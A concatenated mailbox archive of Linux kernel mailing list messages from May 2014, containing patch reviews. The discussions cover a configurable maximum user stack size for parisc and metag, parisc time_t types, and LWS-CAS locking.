References: <20140430212602.GA20601@p100.fritz.box>		 <53622DBA.807@imgtec.com> <1398966636.2174.21.camel@dabdike>	 <5363876A.2030709@imgtec.com> <1399042116.2202.1.camel@dabdike> <5365EC05.5080900@gmx.de> <5371FF97.7030205@imgtec.com> <5372764A.2060906@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1400021580 23370 80.91.229.3 (13 May 2014 22:53:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 May 2014 22:53:00 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	"John David Anglin" <dave.anglin@bell.net>,
	<linux-metag@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 14 00:52:52 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WkLZ6-0002Z5-6X
	for glpp-linux-parisc@plane.gmane.org; Wed, 14 May 2014 00:52:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753088AbaEMWwv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 May 2014 18:52:51 -0400
Original-Received: from mailapp01.imgtec.com ([195.59.15.196]:58251 "EHLO
	mailapp01.imgtec.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752538AbaEMWwu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 May 2014 18:52:50 -0400
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id 7C15E7B89E5EC;
	Tue, 13 May 2014 23:52:41 +0100 (IST)
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 KLMAIL01.kl.imgtec.org (192.168.5.35) with Microsoft SMTP Server (TLS) id
 14.3.181.6; Tue, 13 May 2014 23:52:45 +0100
Original-Received: from [192.168.154.101] (192.168.154.101) by LEMAIL01.le.imgtec.org
 (192.168.152.62) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 13 May
 2014 23:52:45 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <5372764A.2060906@gmx.de>
X-Enigmail-Version: 1.6
X-Originating-IP: [192.168.154.101]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5790 gmane.linux.kernel:1703134 gmane.linux.kernel.metag:199
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5790>

Hi Helge,

On 13/05/14 20:45, Helge Deller wrote:
> On 05/13/2014 01:18 PM, James Hogan wrote:
>> On 04/05/14 08:28, Helge Deller wrote:
>>> On 05/02/2014 04:48 PM, James Bottomley wrote:
>>>> On Fri, 2014-05-02 at 12:54 +0100, James Hogan wrote:
>>>>> On 01/05/14 18:50, James Bottomley wrote:
>>>>>>
>>>>>>> +config MAX_STACK_SIZE_MB
>>>>>>> +	int "Maximum user stack size (MB)"
>>>>>>> +	default 80
>>>>>>> +	range 8 256 if METAG
>>>>>>> +	range 8 2048
>>>>>>> +	depends on STACK_GROWSUP
>>>>>>> +	help
>>>>>>> +	  This is the maximum stack size in Megabytes in the VM layout of user
>>>>>>> +	  processes when the stack grows upwards (currently only on parisc and
>>>>>>> +	  metag arch). The stack will be located at the highest memory address
>>>>>>> +	  minus the given value, unless the RLIMIT_STACK hard limit is changed
>>>>>>> +	  to a smaller value in which case that is used.
>>>>>>> +
>>>>>>> +	  A sane initial value is 80 MB.
>>>>>>
>>>>>> There's one final issue with this: placement of the stack only really
>>>>>> matters on 32 bits.  We have three expanding memory areas: stack, heap
>>>>>> and maps.  On 64 bits these are placed well separated from each other on
>>>>>> 64 bits, so an artificial limit like this doesn't matter.
>>>>>
>>>>> Does the following fixup diff look reasonable? It forces
>>>>> MAX_STACK_SIZE_MB to 1024 and hides the Kconfig option for 64BIT,
>>>>> effectively leaving the behaviour unchanged in that case.
>>>>>
>>>>> diff --git a/mm/Kconfig b/mm/Kconfig
>>>>> index e80075979530..b0307f737bd7 100644
>>>>> --- a/mm/Kconfig
>>>>> +++ b/mm/Kconfig
>>>>> @@ -583,7 +583,8 @@ config GENERIC_EARLY_IOREMAP
>>>>>  	bool
>>>>>
>>>>>  config MAX_STACK_SIZE_MB
>>>>> -	int "Maximum user stack size (MB)"
>>>>> +	int "Maximum user stack size (MB)" if !64BIT
>>>>> +	default 1024 if 64BIT
>>>>>  	default 80
>>>>>  	range 8 256 if METAG
>>>>>  	range 8 2048
>>>>
>>>> Yes, I think that's probably correct ... 
>>>
>>> No, it's not correct.
>>> It will then choose then a 1GB stack for compat tasks on 64bit kernel.
>>
>> Sorry for the delay (I had most of last week off sick and still catching
>> up).
> 
> No problem.
>  
>> That's a good point. It makes me think the best way to handle it is in a
>> new definition in asm/processor.h, maybe STACK_SIZE_MAX. Does something
>> like this look better? This patch isn't getting any cleaner
>> unfortunately.
> 
> 
> Yes, it's correct now.
> Just tested it. Thanks!

Thanks.

> Another problem:
> I think you wanted to get it backported into older kernels?

Yeh, back to v3.9 ideally.

> It seems the changes to mm/Kconfig will not apply cleanly to 3.14 or lower,

Hmm, I guess the patch could be split easily though such that METAG
always defined STACK_SIZE_MAX as 256MB and parisc always as 1GB (i.e.
minimal fix for metag without actually changing any stack sizes), then
have a second patch (not for stable) to make it match the v3 patch.

I'll try that (I probably should have done that in the first place).

Thanks
James

> and the changes to arch/parisc/kernel/sys_parisc.c will not apply to 3.13 or lower...
> 
> Maybe cleaning up the patch to apply cleanly to 3.14 would make sense
> and ignore older kernels?
> 
> Helge
> 
> 
>> From 6ecb0392a3b670c4bf1641a6ec56f22427ca8b57 Mon Sep 17 00:00:00 2001
>> From: Helge Deller <deller@gmx.de>
>> Date: Wed, 30 Apr 2014 23:26:02 +0200
>> Subject: [PATCH 1/1] parisc,metag: Do not hardcode maximum userspace stack
>>  size
>>
>> This patch affects only architectures where the stack grows upwards
>> (currently parisc and metag only). On those do not hardcode the maximum
>> initial stack size to 1GB for 32-bit processes, but make it configurable
>> via a config option.
>>
>> The main problem with the hardcoded stack size is, that we have two
>> memory regions which grow upwards: stack and heap. To keep most of the
>> memory available for heap in a flexmap memoy layout, it makes no sense
>> to hard allocate up to 1GB of the memory for stack which can't be used
>> as heap then.
>>
>> This patch makes the stack size configurable and uses 80MB as default
>> value which has been in use during the last few years on parisc and
>> which didn't showed any problems yet.
>>
>> This also fixes a BUG on metag if the RLIMIT_STACK hard limit is
>> increased beyond a safe value by root. E.g. when starting a process
>> after running "ulimit -H -s unlimited" it will then attempt to use a
>> stack size of the maximum 1GB which is far too big for metag's limited
>> user virtual address space (stack_top is usually 0x3ffff000):
>> BUG: failure at fs/exec.c:589/shift_arg_pages()!
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>> Signed-off-by: James Hogan <james.hogan@imgtec.com>
>> Cc: linux-parisc@vger.kernel.org
>> Cc: linux-metag@vger.kernel.org
>> Cc: John David Anglin <dave.anglin@bell.net>
>> Cc: stable@vger.kernel.org # only needed for >= v3.9 (arch/metag)
>> ---
>> v3 (James Hogan):
>>  - fix so that 64-bit parisc processes still use the 1GB limit.
>>    CONFIG_STACK_GROWSUP arches should provide a STACK_SIZE_MAX in their
>>    asm/processor.h, and for parisc it depends on USER_WIDE_MODE (whether
>>    the current process is 64-bit).
>> v2 (James Hogan):
>>  - updated description to mention BUG on metag.
>>  - added custom range limit for METAG.
>>  - moved Kconfig symbol to mm/Kconfig and reworded.
>>  - fixed "matag" typo.
>> ---
>>  arch/metag/include/asm/processor.h  |  2 ++
>>  arch/parisc/include/asm/processor.h |  5 +++++
>>  arch/parisc/kernel/sys_parisc.c     |  6 +++---
>>  fs/exec.c                           |  6 +++---
>>  mm/Kconfig                          | 15 +++++++++++++++
>>  5 files changed, 28 insertions(+), 6 deletions(-)
>>
>> diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
>> index f16477d1f571..a8a37477c66e 100644
>> --- a/arch/metag/include/asm/processor.h
>> +++ b/arch/metag/include/asm/processor.h
>> @@ -22,6 +22,8 @@
>>  /* Add an extra page of padding at the top of the stack for the guard page. */
>>  #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
>>  #define STACK_TOP_MAX	STACK_TOP
>> +/* Maximum virtual space for stack */
>> +#define STACK_SIZE_MAX	(CONFIG_MAX_STACK_SIZE_MB*1024*1024)
>>
>>  /* This decides where the kernel will search for a free chunk of vm
>>   * space during mmap's.
>> diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
>> index 198a86feb574..d951c9681ab3 100644
>> --- a/arch/parisc/include/asm/processor.h
>> +++ b/arch/parisc/include/asm/processor.h
>> @@ -55,6 +55,11 @@
>>  #define STACK_TOP	TASK_SIZE
>>  #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
>>
>> +/* Allow bigger stacks for 64-bit processes */
>> +#define STACK_SIZE_MAX	(USER_WIDE_MODE					\
>> +			 ? (1 << 30)	/* 1 GB */			\
>> +			 : (CONFIG_MAX_STACK_SIZE_MB*1024*1024))
>> +
>>  #endif
>>
>>  #ifndef __ASSEMBLY__
>> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
>> index 31ffa9b55322..e1ffea2f9a0b 100644
>> --- a/arch/parisc/kernel/sys_parisc.c
>> +++ b/arch/parisc/kernel/sys_parisc.c
>> @@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
>>  {
>>  	unsigned long stack_base;
>>
>> -	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
>> +	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
>>  	stack_base = rlimit_max(RLIMIT_STACK);
>> -	if (stack_base > (1 << 30))
>> -		stack_base = 1 << 30;
>> +	if (stack_base > STACK_SIZE_MAX)
>> +		stack_base = STACK_SIZE_MAX;
>>
>>  	return PAGE_ALIGN(STACK_TOP - stack_base);
>>  }
>> diff --git a/fs/exec.c b/fs/exec.c
>> index 476f3ebf437e..238b7aa26f68 100644
>> --- a/fs/exec.c
>> +++ b/fs/exec.c
>> @@ -657,10 +657,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
>>  	unsigned long rlim_stack;
>>
>>  #ifdef CONFIG_STACK_GROWSUP
>> -	/* Limit stack size to 1GB */
>> +	/* Limit stack size */
>>  	stack_base = rlimit_max(RLIMIT_STACK);
>> -	if (stack_base > (1 << 30))
>> -		stack_base = 1 << 30;
>> +	if (stack_base > STACK_SIZE_MAX)
>> +		stack_base = STACK_SIZE_MAX;
>>
>>  	/* Make sure we didn't let the argument array grow too large. */
>>  	if (vma->vm_end - vma->vm_start > stack_base)
>> diff --git a/mm/Kconfig b/mm/Kconfig
>> index ebe5880c29d6..1b5a95f0fa01 100644
>> --- a/mm/Kconfig
>> +++ b/mm/Kconfig
>> @@ -581,3 +581,18 @@ config PGTABLE_MAPPING
>>
>>  config GENERIC_EARLY_IOREMAP
>>  	bool
>> +
>> +config MAX_STACK_SIZE_MB
>> +	int "Maximum user stack size for 32-bit processes (MB)"
>> +	default 80
>> +	range 8 256 if METAG
>> +	range 8 2048
>> +	depends on STACK_GROWSUP && (!64BIT || COMPAT)
>> +	help
>> +	  This is the maximum stack size in Megabytes in the VM layout of 32-bit
>> +	  user processes when the stack grows upwards (currently only on parisc
>> +	  and metag arch). The stack will be located at the highest memory
>> +	  address minus the given value, unless the RLIMIT_STACK hard limit is
>> +	  changed to a smaller value in which case that is used.
>> +
>> +	  A sane initial value is 80 MB.
>>
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ley Foon Tan <lftan@altera.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 17/25] parisc: Add 32 bit time_t and clock_t
Date: Wed, 14 May 2014 09:57:50 +0800
Lines: 30
Approved: news@gmane.org
Message-ID: <CAFiDJ5_ziSF3ectbkFQp9L5FExwyGQBVsesP3JYAypURhNsKrQ@mail.gmail.com>
References: <1399971456-3941-1-git-send-email-lftan@altera.com>
	<1399971966-4598-1-git-send-email-lftan@altera.com>
	<53727DE8.7000105@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1400032685 1761 80.91.229.3 (14 May 2014 01:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2014 01:58:05 +0000 (UTC)
Cc: Linux-Arch <linux-arch@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Chung-Lin Tang <cltang@codesourcery.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-arch-owner@vger.kernel.org Wed May 14 03:57:57 2014
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1WkOSB-0007Z9-T4
	for glka-linux-arch@plane.gmane.org; Wed, 14 May 2014 03:57:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752806AbaENB5y (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 13 May 2014 21:57:54 -0400
Original-Received: from mail-qc0-f172.google.com ([209.85.216.172]:48430 "EHLO
	mail-qc0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751991AbaENB5v (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 13 May 2014 21:57:51 -0400
Original-Received: by mail-qc0-f172.google.com with SMTP id l6so1749461qcy.3
        for <multiple recipients>; Tue, 13 May 2014 18:57:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=nOjhCuI2+EZKLLI+97//7jSU5HL3wcGihTUDRviomxQ=;
        b=yINnZ0KnAX2x4HzApSRt5yZReSMoSzYC9O268i/JcERpI0/aCPvHdqtaWfbPL+a3kd
         canVUpnNWWZ6qsZ6QsFJ9UOyNygf2G1qy98KJ77lguSMLlqVnXjoEngPVyZYoMKXHmdh
         DnnUEhleouqUstWIxUHYccLfUnYywfMXBbNZOhavT0kND42NfZB5jnRKWcr5Pss5+05F
         7f0XCPg0bryx5xxXLeUQhVEFSGobOf6sT4ragltWKu6N1ZLV/TdEDL04mTJsLkHas5Ep
         JDyIfDvUZPcgekc5NLkLj89wcBguBsldOxrqNavByTkosoMjHxyX8WM6wCuwEoo2gg18
         dClw==
X-Received: by 10.140.96.68 with SMTP id j62mr1159672qge.5.1400032670769; Tue,
 13 May 2014 18:57:50 -0700 (PDT)
Original-Received: by 10.96.195.132 with HTTP; Tue, 13 May 2014 18:57:50 -0700 (PDT)
In-Reply-To: <53727DE8.7000105@gmx.de>
X-Google-Sender-Auth: 8j_3Gsb8A0ZNAtm9btS_JxRJMdE
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:22930 gmane.linux.kernel:1703173 gmane.linux.ports.parisc:5791
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/22930>

On Wed, May 14, 2014 at 4:17 AM, Helge Deller <deller@gmx.de> wrote:
> Hi Ley,
>
> On 05/13/2014 11:06 AM, Ley Foon Tan wrote:
>> Override time_t and clock_t in include/uapi/asm-generic.
>>
>> Signed-off-by: Ley Foon Tan <lftan@altera.com>
>> ---
>>  arch/parisc/include/uapi/asm/posix_types.h | 8 ++++++++
>>  1 file changed, 8 insertions(+)
>>
>> diff --git a/arch/parisc/include/uapi/asm/posix_types.h b/arch/parisc/include/uapi/asm/posix_types.h
>> index b934425..21fcf1c 100644
>> --- a/arch/parisc/include/uapi/asm/posix_types.h
>> +++ b/arch/parisc/include/uapi/asm/posix_types.h
>> @@ -19,6 +19,14 @@ typedef int                        __kernel_suseconds_t;
>>  typedef long long            __kernel_off64_t;
>>  typedef unsigned long long   __kernel_ino64_t;
>>
>> +#ifndef CONFIG_64BIT
>
> We can't use CONFIG_64BIT for a userspace header file. Please use
> #if !defined(__LP64__)
> instead.
> But even then I'm not sure if it's all correct...
Okay, will change to this. Maybe can try compile and boot with this change.

Thanks.
Regards
Ley Foon

From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve LWS-CAS performance
Date: Tue, 13 May 2014 23:31:23 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <CAE2sS1i7gDUwq+bRoSNhw+kCBsA-cDAzHs4O03yHuWUxqJE-wQ@mail.gmail.com>
References: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1400038295 1867 80.91.229.3 (14 May 2014 03:31:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2014 03:31:35 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 14 05:31:28 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WkPug-00032k-38
	for glpp-linux-parisc@plane.gmane.org; Wed, 14 May 2014 05:31:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753341AbaENDbZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 May 2014 23:31:25 -0400
Original-Received: from mail-oa0-f54.google.com ([209.85.219.54]:50405 "EHLO
	mail-oa0-f54.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753277AbaENDbY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 May 2014 23:31:24 -0400
Original-Received: by mail-oa0-f54.google.com with SMTP id j17so1512553oag.13
        for <linux-parisc@vger.kernel.org>; Tue, 13 May 2014 20:31:24 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=LHoVnpUK+5KRXT25hBD85d5mEzG8UsLsBgXyrRPsEFc=;
        b=DID6d+nC8BP1/LrRZQPW9Jf37ZLzLIxvY0wD18QFWcl0G4Ffl4RE/M5tb14koOaTwH
         4rhMekU8mbxWWnhaJD8JjkZYDBQiMly5bP/QW4Dh4QuUbD1AliwhjLniNuHy1TSu4c0l
         FyHKrNyGJ/uWuPKNb3O/h/7WJJA4f1SM+AUw51jNeJNPzszTv2UJxkLOfhQT6NYBJUwD
         qUuzIMfSbVcFR/E4vmrX2EZO9oKftdTyAmPzeoT0FNJxblhK79O0ZaMnIe6JoyaLFr31
         FllbGzqoIkyb9z4pJKlwBfJ0PAY/6hKegaUKCxxtGcoi86dJ+DQTVUQgI/4DeHY5Fo5Y
         cUig==
X-Gm-Message-State: ALoCoQkSeDIJtcxOuDpCOWbvAbjOUcxkb/cvIJCMx0H0kR2pE2xWmeM2r9NzOabjY52pOXOmzLUH
X-Received: by 10.182.104.101 with SMTP id gd5mr869551obb.54.1400038284048;
 Tue, 13 May 2014 20:31:24 -0700 (PDT)
Original-Received: by 10.76.18.14 with HTTP; Tue, 13 May 2014 20:31:23 -0700 (PDT)
X-Originating-IP: [99.249.203.14]
In-Reply-To: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5792
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5792>

On Sun, May 11, 2014 at 6:40 PM, John David Anglin <dave.anglin@bell.net> wrote:
> The attached change significantly improves the performance of the LWS-CAS
> code in syscall.S.
> This allows a number of packages to build (e.g., zeromq3, gtest and libxs)
> that previously failed because
> slow LWS-CAS performance under contention.  In particular, interrupts taken
> while the lock was taken
> degraded performance significantly.
>
> The change does the following:
>
> 1) Disables interrupts around the CAS operation,

OK.

> 2) Removes the lock code on UP systems where it is not needed, and

This is wrong. The locking was originally only for SMP, but at one
point it was discovered that you could COW during the CAS operation
and if you didn't take the lock in UP, you could re-enter the CAS via
another task and thus incorrectly carry out the CAS in two different
threads and corrupt the state. While we attempt our best to prevent
the task running the CAS from being scheduled off, the COW operation
trap and subsequent scheduling is not something I could find an easy
way to prevent. Therefore the solution was to use locks for both UP
and SMP.

> 3) Changes the loads and stores to use the ordered completer, "o", on
> PA 2.0.  "o" and "ma" with a zero offset are equivalent.  The latter is
> accepted
> on both PA 1.X and 2.0.
>
> The use of ordered loads and stores probably makes no difference on all
> existing
> hardware, but it seemed pedantically correct.  In particular, the CAS
> operation must
> complete before LDCW lock is released.  As written before, a processor could
> reorder
> the operations.

Agreed.

> I don't believe the period interrupts are disabled is long enough to
> significantly
> increase interrupt latency.  For example, the TLB insert code is longer.
> Worst
> case is a memory fault in the CAS operation.

The worst case is actually a COW during the write of the CAS? The
interrupts would be disabled until the kernel turned them back on in
another code path.


Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH v4 0/4] metag,parisc: Stack limit patches
Date: Wed, 14 May 2014 13:52:44 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <1400071968-21581-1-git-send-email-james.hogan@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1400072000 3039 80.91.229.3 (14 May 2014 12:53:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2014 12:53:20 +0000 (UTC)
Cc: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
	<linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	<linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed May 14 14:53:13 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1WkYgI-0006Cq-GB
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 14 May 2014 14:53:10 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1755556AbaENMxB (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Wed, 14 May 2014 08:53:01 -0400
Original-Received: from mailapp01.imgtec.com ([195.59.15.196]:36297 "EHLO
	mailapp01.imgtec.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754593AbaENMw7 (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 14 May 2014 08:52:59 -0400
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id BCDB4C095FDE5;
	Wed, 14 May 2014 13:52:53 +0100 (IST)
Original-Received: from KLMAIL02.kl.imgtec.org (192.168.5.97) by KLMAIL01.kl.imgtec.org
 (192.168.5.35) with Microsoft SMTP Server (TLS) id 14.3.181.6; Wed, 14 May
 2014 13:52:56 +0100
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 klmail02.kl.imgtec.org (192.168.5.97) with Microsoft SMTP Server (TLS) id
 14.3.181.6; Wed, 14 May 2014 13:52:56 +0100
Original-Received: from jhogan-linux.le.imgtec.org (192.168.154.101) by
 LEMAIL01.le.imgtec.org (192.168.152.62) with Microsoft SMTP Server (TLS) id
 14.3.174.1; Wed, 14 May 2014 13:52:55 +0100
X-Mailer: git-send-email 1.9.3
X-Originating-IP: [192.168.154.101]
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:200 gmane.linux.kernel.cross-arch:22941 gmane.linux.ports.parisc:5793
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/200>

Patch 1 is a metag bug fix for v3.15 & stable.

Patch 2 depends on patch 1, and makes the stack limit configurable.
Helge: I don't object if you want to take this patch yourself since it
was originally yours, so long as it goes after patch 1 (which I'll try
and get into v3.15-rc6).

Patch 3 depends on patch 1, and removes the RLIMIT_STACK default value
for metag. I'll take this through metag tree for v3.16.

Patch 4 depends on patch 3 and the corresponding parisc patch and
removes the ability to override the default hard RLIMIT_STACK. Depending
on when the parisc patch reaches mainline I'll try and get this in for
v3.16.

Helge Deller (1):
  parisc,metag: Do not hardcode maximum userspace stack size

James Hogan (3):
  metag: Reduce maximum stack size to 256MB
  metag: Remove _STK_LIM_MAX override
  asm-generic: remove _STK_LIM_MAX

 arch/metag/include/asm/processor.h     |  2 ++
 arch/metag/include/uapi/asm/Kbuild     |  2 +-
 arch/metag/include/uapi/asm/resource.h |  7 -------
 arch/parisc/include/asm/processor.h    |  5 +++++
 arch/parisc/kernel/sys_parisc.c        |  6 +++---
 fs/exec.c                              |  6 +++---
 include/asm-generic/resource.h         |  2 +-
 include/uapi/asm-generic/resource.h    |  7 -------
 mm/Kconfig                             | 15 +++++++++++++++
 9 files changed, 30 insertions(+), 22 deletions(-)
 delete mode 100644 arch/metag/include/uapi/asm/resource.h

Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Cc: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org

-- 
1.9.3

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
